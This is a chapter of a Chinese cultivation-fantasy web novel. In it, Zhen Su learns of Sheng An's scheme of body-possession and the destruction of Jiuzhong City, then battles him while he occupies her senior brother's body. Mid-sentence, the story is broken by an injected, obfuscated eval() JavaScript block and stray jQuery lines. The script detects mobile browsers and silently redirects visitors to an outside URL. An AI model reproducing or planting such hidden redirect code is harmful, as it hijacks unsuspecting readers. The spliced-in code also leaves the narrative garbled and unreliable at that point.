74. 终战

作品:《不会阵法的美人不是好剑修

    盛安带着盛满一路疾驰,回了岁安院。这一路上,盛氏姐弟相顾无言,空气中弥漫着仿佛要让人窒息的静寂。


    “盛安,九重城为何会坠落。”盛满先开了口,左肩轻轻倚在凉亭柱上,脸颊微微侧过,视线朝着池塘中那些仍旧盛放的荷花。


    “是我的错,姐姐。”盛安这次反而承认的很痛快。他离盛满的距离不过几步,脸不红心不跳,一字一句说得极为清楚,“当时我马上就能结果他的性命,可他说若我杀他,他就毁掉这个九重城,让所有人一起死。我以为他是在唬我,就下手结果了他没想到他竟然如此丧心病狂,竟然要拉着整个九重城一起陪葬。”


    “盛安你够了!丧心病狂的到底是谁!”盛满一个箭步冲过去,双手死死揪住盛安的领子,逼迫他弯腰与自己的眼睛直视。


    “你真以为,我就那么好骗吗?”


    在她严肃的表情下,盛安不但不找补,反而松了一口气,看起来更释然了一些。


    “姐姐心中已有答案,何必来问我呢。”


    “盛安!”盛满忍无可忍,卯着劲扇了他一巴掌。清晰的指印浮在盛安半边清俊的脸上,显得格外抢眼。


    “你难道不知道夺舍是修真界大忌!不对……你从何处知晓夺舍这种功法?除了九重城主以外,你还有没有动过别人?你为何要参与升灵液之事?你……”


    她的话戛然而止,不是因为自己说够了,而是盛安对她下了一道禁言咒。


    “因为我想,所以做了。”


    盛安仿佛感觉不到脸上火辣辣的疼痛,眼中是盛满从未想过的平静,在更深处却酝酿着更深沉无底的阴影。


    盛满气急,甩手而去。枕苏被迫跟着她出了院门,只在最后一刻,看到了盛安上扬的嘴角。


    他已经疯了。


    枕苏认识到这一点,却无法提醒怒火中烧的盛满。盛满只觉得自己弟弟行事任由自己心情,可枕苏知道,这家伙自从知道天道一事后,除了盛满和自己,把其他人都当做了可以随意漠视的生命。恐怕在他眼里,生命就和死物一样,根本不值得去在意。


    因为那些生命的存在无所谓,所以多些少些也没问题。


    至于后果……他不在乎。


    总会有人为他处理好的。


    果不其然,照常理来讲,九重城这么大一座城,历史悠久,名号响亮,声誉又高,凭空消失本就疑点颇多。讨论度不说蔓延的整个修真界,起码会在上层引起震颤。


    可细观整个修真界,没有疑惑,没有讨论,只有遗忘。


    上位者因购买升灵液落下的把柄消失不多谈论,中位者为讨其欢心亦闭口不言,低位者终日庸庸碌碌毫不关心外事,胆小如鼠者跟随大众皆不多关注,热血勇猛者发声后踪迹全无。曾经盛极一时的九重城,就这样消失在了偌大的修真界中。


    枕苏目睹一切,恍然大悟。盛安应该是以盗身为饵,引诱九重城主入套,在他因计气血两亏之时,再尝试将他夺舍。盛安曾修补过九重城的护城大阵,自然知晓这阵法是如何运转的,让它崩溃也是易事。看这情况,应该是夺舍失败了。他估计是为防止此事暴露,干脆把事发地毁个干干净净,死无对证,自然也就查无实据了。


    她正想接着看,命穴处却仿佛被人刺了一下,思绪猛然清醒,回到了现实中,身前是面色担忧的盛满。她不知何时摆脱了小女孩的身体,身形长相看起来和枕苏在幻境中看到的盛满差不多。


    “你看到了?”盛满见枕苏眼黑有些涣散,知她必是见到了自己的记忆。她叹息一声,脚尖轻点就浮到枕苏身后,微小到几乎如蝇呐的声音传到枕苏耳边。


    “盛安想用返璞阵消耗你们的实力,我取了巧,直接把那返璞阵撕开,把你带过来了。至于你看到的幻境,只是你毕竟是新一代的天命之子,我们两个产生通感也很正常。”


    枕苏听了她的话,下意识就去打量周围的环境。周围依旧是浓密的大雾,脚下踩的是松软的泥土,四周没有植物存在,就像一块未经雕琢的荒芜之地,整个地方都充斥着堪称死寂的气息。


    可她却敏捷地注意到另一个问题:“不是说在极海中,天道不会直接下场帮任何一方吗?”


    “额……空子能钻一点是一点嘛,偶尔破破戒也是可以的。”盛满眼神飘忽了一下,但下一刻立刻双手叉腰,理直气壮地反驳。


    “可是,其余人在哪里呢?”枕苏环顾四周,却只能见到满眼沉闷的雾气。盛满挥挥手,语气轻松:“他们几个被单独困在了这座岛上不同的地方,盛安就是为了不让他们来打扰的。”


    “我只是觉得,盛安会动什么手脚。”枕苏阖眼,长睫压下眸中的担忧神色,月白剑横放,以灵力扩开音量。


    “盛安,你不是要找天命之子吗?我已经来了,你为何畏缩在地,不敢见我!”


    她有意扩大音量,赌在岛上的大家能听到她的声音,在引出盛安后还能确定他的方位,一箭双雕。


    下一瞬,她耳尖一动,月白已如灵蛇出洞,斜斜斩过空中之人。一片衣角被月白载回,空中之人也现出了身形。


    是凌清秋。


    或者说,是被盛安夺舍了的凌清秋。


    他的眼睛已经失去了眼白,内里泛着及其明显的乌黑空洞,像个受人操纵的人偶,银丝覆肩,行动僵硬,只有眉间那处乌黑印记的顶端还透着一点蓝。


    面对枕苏的挑衅,盛安只是猖狂一笑,尽管那在凌清秋脸上显得特别奇怪:“枕苏,终于见到你了。你看,这是你的师兄。”


    他在原地转了个圈:“他的灵魂很强哦,竟然能撑到现在还没消失,不知道藏在了这具身体的哪个犄角旮旯里。不过,只要你死了,估计他也会随你而去吧。”


    “那又如何。怎么,被天道灭过一回,还想再被我杀一次吗。”


    枕苏发觉奇怪之处,不由得微微侧耳,询问躲在她身后的盛满:“他灵魂如此坚韧,过了千年还能驱赶师兄的灵魂,可他不是被天道诛灭过一回了吗?就算只弃了身体,灵魂也会受到损伤吧。”


    盛满表情一滞,嘴张张合合,看起来很是为难,最后还是开口道:“因为他在得到那本盗身夺舍的书时,识海被一个千年邪魂侵入,蛊惑其心,污其识海,染其灵台,导致盛安行事越发放肆,最终被天道点名诛杀。”


    “天道无情,字字箴言,不可违背。就算我想放他一马,也是绝不可能的事。虽说盛安当时已将自己灵肉分离,可天道是诛杀就是诛杀,不斩杀一人一魂决不罢休。当时那千年邪魂见盛安自己把自己的灵魂从身体里驱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202943|130142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逐了出去,就喜滋滋占领了盛安的身体,满足一人一魂的要求,正巧被天雷劈个正着,当场消亡,属于盛安的诛杀令也就完成,就让他趁机逃到极海去了。”


    在她说话的这段时间内,盛安百无聊赖地把玩着腰间的长清剑,枕苏这才看到,这把被其主人寄予厚望、希望它用的时间能长些的剑,已在中间断折,上半柄的剑身满是划痕,下半柄剑锋已不知所踪。


    “姐姐,好久不见。”他笑眯眯的,“有个地方你说错了。”


    “没什么蛊惑,也没什么正巧。”


    “我是故意的。”


    “我知道那不知来路的邪魂在我识海中盘旋,他既然想要我的□□,那我就给他。可怜他修炼不知多少年,竟然不知道我可以屏蔽他的感知。他还以为我受了伤体气虚弱,主动的比回窝的兔子都快,躲躲藏藏了这么些年,最后被天雷批的渣都没留下。”


    “姐姐,事到如今,你难道还不明白吗?我也不是因为他的蛊惑才做事。我清楚的知道我在做什么,更清楚我这些事情的后果。”虽然顶着凌清秋的脸,可他的语气是二人熟悉的盛安版本的循循善诱,“我们是天命之子,是这个世界最重要的存在。置于其他人,在这个世上都是可有可无的。我们想对蚂蚁做什么事,难道还要考虑蚂蚁的想法吗?”


    盛满好像对他忍无可忍,连一个眼神都没有施舍给他。转而拍了拍枕苏的肩,一道灵光随她的指尖进入枕苏识海。做完这些,她深深望了一眼盛安,转而消失在原地。


    “看来今天,我们两个只能活一个。”盛安笑道,“看,这就是天道的‘公平’。”


    枕苏懒得理他。盛满消失前,将破解众人困境之法和制敌之法都传给了枕苏。她明白,盛安能活下来这么久,与他的谨慎分不开关系,保不清会有什么后手。


    而针对之法,就是将识海外放,用极高浓度的灵力将阵法从外部脆弱之处瓦解。


    可她性格倔,偏偏就想试试硬碰硬是什么滋味。


    枕苏咬破指尖,抹上眉间印堂,印堂处的红痣隐于血间,她周遭的气势却变得越发张狂。


    一道九彩光晕自她身后升起,在半空中向四周扩散开来,形成一轮皎洁明月,光晕不刺眼,却并不过分柔和,好像温温柔柔就侵入了你的领地。枕苏张开双臂,在空中缓缓上升,衣角无风自动,脚下仿佛涌起深海,掀起藏有血腥气息的海浪。


    月下人踏海而行,月影照在她的侧脸上,精致冷峻的几乎不似真人。


    那深海开始蔓延、涌动,卷起怒潮,却在月光沉静而不容置疑的光晕下化作一条贯天天虹,如同矗立在世界之初的那颗树,以枕苏为起点如树枝般朝外涌动。


    这绚丽璀璨的长虹像是卷着无数斑斓稠丽的星辰,带着如万千天兵一往无前的气势散布到岛上各处,击碎了陆雨眠面前的自己,露出捂着关键部位欲哭无泪的陆雨眠;撕裂开被烈火焚烧的雾气,撑住力竭的季沉;穿透过与千归语纠缠的分身,轻柔地拂过他骤然亮起的眼眸;飞越过手拿加特林一顿癫狂扫射的余镜台,在他额头上抽了个极大的包;最后没过郑氏兄妹手中的瑶剑,收获郑清意亮晶晶眼神一枚。


    万千邪魅迷雾,皆以飞虹灭之。


    后人记载曰,月白升碧空,仙客震长虹。